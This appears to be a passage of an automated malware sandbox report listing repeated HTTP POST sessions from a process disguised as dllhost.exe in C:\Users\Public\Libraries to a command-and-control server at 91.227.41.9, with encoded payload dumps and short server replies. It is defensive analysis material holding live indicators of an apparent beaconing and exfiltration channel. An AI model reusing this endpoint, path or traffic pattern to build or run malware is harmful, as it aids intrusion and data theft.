                                                                                                                                      Dec 9, 2024 00:28:32.015204906 CET1860OUTData Raw: 59 5d 43 50 58 44 50 5b 54 57 5b 51 55 5b 59 55 50 5b 5a 5d 56 57 57 59 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y]CPXDP[TW[QU[YUP[Z]VWWYX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'3=<' ^*59^$?(7#9+# ,T()_#"8_<&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:28:32.936470985 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:33.173204899 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:32 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 3a 08 24 26 33 10 3e 0d 0b 54 29 3f 3b 58 39 3c 2f 03 28 20 21 11 24 3d 3f 56 25 3b 2a 57 3f 2e 33 5f 33 1c 00 0f 30 24 28 0e 29 28 2f 58 07 1c 27 59 28 02 24 01 25 0d 03 01 3d 22 27 1e 31 03 38 16 27 07 3f 04 30 1d 3c 11 3c 33 3d 54 25 3b 21 50 28 2b 3c 19 3a 24 3b 0c 22 24 23 53 08 11 25 19 27 1f 3c 11 31 3f 38 12 22 33 04 12 24 2b 28 09 28 2c 01 06 3f 33 31 5b 28 1f 0f 0d 27 32 24 54 24 3f 05 07 30 33 00 51 26 10 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: :$&3>T)?;X9</( !$=?V%;*W?.3_30$()(/X'Y($%="'18'?0<<3=T%;!P(+<:$;"$#S%'<1?8"3$+((,?31[('2$T$?03Q&&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      57192.168.2.44987591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:31.789335966 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2532
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:32.140171051 CET2532OUTData Raw: 5c 5b 46 53 58 46 55 5c 54 57 5b 51 55 58 59 5b 50 5d 5a 50 56 5c 57 5d 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \[FSXFU\TW[QUXY[P]ZPV\W]X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'_&=:()( ?X?6:'/7() 8!V'?9/6!+(&\"'Z,
                                                                                                                                      Dec 9, 2024 00:28:33.061913013 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:33.297327042 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:32 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      58192.168.2.44987991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:33.542306900 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:28:33.890753031 CET2536OUTData Raw: 59 5f 46 50 5d 40 50 5c 54 57 5b 51 55 50 59 58 50 5c 5a 58 56 54 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y_FP]@P\TW[QUPYXP\ZXVTWZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'$[%X<*;# (%9Z$/?(9\#*;"0+6!(&\"'Z,
                                                                                                                                      Dec 9, 2024 00:28:34.847378016 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:35.085207939 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:34 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      59192.168.2.44988591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:35.320866108 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:35.671447992 CET2536OUTData Raw: 5c 5e 46 53 5d 43 55 5f 54 57 5b 51 55 5c 59 5c 50 5c 5a 5f 56 57 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \^FS]CU_TW[QU\Y\P\Z_VWWZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'$-X=)# S;^?9[&<(+<4Q5 P(\#!,Z+/&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:28:36.604171038 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:36.837285042 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:36 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      60192.168.2.44989091.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:37.123158932 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2532
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:37.468326092 CET2532OUTData Raw: 59 5f 43 56 58 43 55 5e 54 57 5b 51 55 58 59 5d 50 53 5a 59 56 57 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y_CVXCU^TW[QUXY]PSZYVWWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$&.-^?,^4#[(6:'+*#7:!3;+*8"8<&\"'Z,,


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      61192.168.2.44989391.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:38.307791948 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:38.655829906 CET1860OUTData Raw: 5c 5c 46 53 58 41 55 5e 54 57 5b 51 55 50 59 5b 50 58 5a 5b 56 57 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \\FSXAU^TW[QUPY[PXZ[VWWZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$3!^(9?76+*&-'/7V<)(] 9$"0?,^!!;?&\"'Z,
                                                                                                                                      Dec 9, 2024 00:28:39.577992916 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:39.813500881 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:39 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 39 1c 24 36 2c 06 3e 0a 22 09 3c 3f 24 05 2e 11 30 5d 2b 33 35 13 25 07 2b 1e 32 3b 3d 09 3f 3e 01 1a 33 54 2e 0b 27 09 20 0d 29 02 2f 58 07 1c 27 11 2b 3b 09 10 32 1d 2a 59 3d 32 3b 59 26 2d 1a 5d 24 2e 3f 04 33 33 34 5f 2b 0d 25 52 32 2b 3d 52 29 28 30 5b 3a 34 20 13 36 34 23 53 08 11 26 09 26 22 34 1f 31 3f 37 00 36 30 3a 1f 27 38 30 0c 2a 05 23 02 3f 30 2d 5e 3c 57 32 54 24 32 28 11 27 2f 0a 5e 33 33 26 1a 25 00 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 9$6,>"<?$.0]+35%+2;=?>3T.' )/X'+;2*Y=2;Y&-]$.?334_+%R2+=R)(0[:4 64#S&&"41?760:'80*#?0-^<W2T$2('/^33&%&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      62192.168.2.44989591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:38.427210093 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:38.780778885 CET2536OUTData Raw: 59 5b 43 57 58 47 50 58 54 57 5b 51 55 51 59 54 50 5d 5a 51 56 57 57 5e 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y[CWXGPXTW[QUQYTP]ZQVWW^X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$&.&?$_#?+:$<4+ ##P"U<"1'?/&\"'Z,
                                                                                                                                      Dec 9, 2024 00:28:39.713931084 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:39.953228951 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:39 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      63192.168.2.44989991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:40.192549944 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:28:40.546488047 CET2536OUTData Raw: 59 59 46 57 58 4b 55 58 54 57 5b 51 55 59 59 5e 50 59 5a 5e 56 51 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YYFWXKUXTW[QUYY^PYZ^VQWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'3=%^+? 5^?5$/(+47Q" 8?<^50+/&\"'Z,,
                                                                                                                                      Dec 9, 2024 00:28:41.459697008 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:41.693334103 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:41 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      64192.168.2.44990591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:41.927114010 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:42.280858994 CET2536OUTData Raw: 5c 58 43 51 5d 43 55 5b 54 57 5b 51 55 59 59 58 50 5b 5a 59 56 53 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \XCQ]CU[TW[QUYYXP[ZYVSWZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Y$_?*0X7()_$'Q)*$Z#:'6 ?<Y"W#?/&\"'Z,,
                                                                                                                                      Dec 9, 2024 00:28:43.272147894 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:43.505245924 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:43 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      65192.168.2.44991091.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:43.747270107 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:44.093290091 CET2536OUTData Raw: 5c 5c 43 56 58 47 50 5c 54 57 5b 51 55 5a 59 5b 50 5e 5a 5b 56 54 57 52 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \\CVXGP\TW[QUZY[P^Z[VTWRX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'^'><)?4S7Z*&93?(*?7;"V?? _6!$^*/&\"'Z,


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      66192.168.2.44991491.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:44.948215961 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1836
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:45.296664000 CET1836OUTData Raw: 59 5c 43 54 5d 40 55 5c 54 57 5b 51 55 58 59 5c 50 58 5a 5d 56 5d 57 59 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y\CT]@U\TW[QUXY\PXZ]V]WYX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Y$:?( '+)\&<'+9<!*$!<P+95 *?&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:28:46.215895891 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:46.459350109 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:46 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 39 1c 31 36 27 59 3e 0d 39 54 29 3f 3b 58 39 3c 24 58 3f 23 21 5e 24 3d 34 0d 31 06 26 57 3e 3e 24 01 24 1c 0f 57 33 37 2b 51 29 38 2f 58 07 1c 27 1f 3c 15 27 5b 25 33 36 58 3e 31 2b 58 31 04 27 07 27 2e 0a 5a 24 0d 3b 07 3e 23 2a 0e 26 28 3d 19 2b 15 0e 5d 39 37 01 0d 21 1e 23 53 08 11 26 08 24 0f 2c 11 25 2f 2c 12 36 55 3e 51 27 15 01 51 2a 05 3c 58 3c 1d 25 58 28 57 26 56 27 0b 20 57 27 59 37 05 26 30 21 08 25 10 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 916'Y>9T)?;X9<$X?#!^$=41&W>>$$W37+Q)8/X'<'[%36X>1+X1''.Z$;>#*&(=+]97!#S&$,%/,6U>Q'Q*<X<%X(W&V' W'Y7&0!%&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      67192.168.2.44991691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:45.072051048 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:45.421549082 CET2536OUTData Raw: 5c 5e 43 55 5d 40 55 5e 54 57 5b 51 55 50 59 5a 50 5e 5a 5f 56 53 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \^CU]@U^TW[QUPYZP^Z_VSWZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'X&-?_ #<(1_3+V<977<" W(5?*/&\"'Z,
                                                                                                                                      Dec 9, 2024 00:28:46.446727037 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:46.681138992 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:46 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      68192.168.2.44991991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:46.931607962 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:28:47.280914068 CET2536OUTData Raw: 5c 5c 43 51 58 45 55 59 54 57 5b 51 55 5c 59 5a 50 5c 5a 5d 56 5c 57 5c 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \\CQXEUYTW[QU\YZP\Z]V\W\X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$'*<"5$(:3,?U()!*7U6+<*3"(/&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:28:48.283351898 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:48.517211914 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:48 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
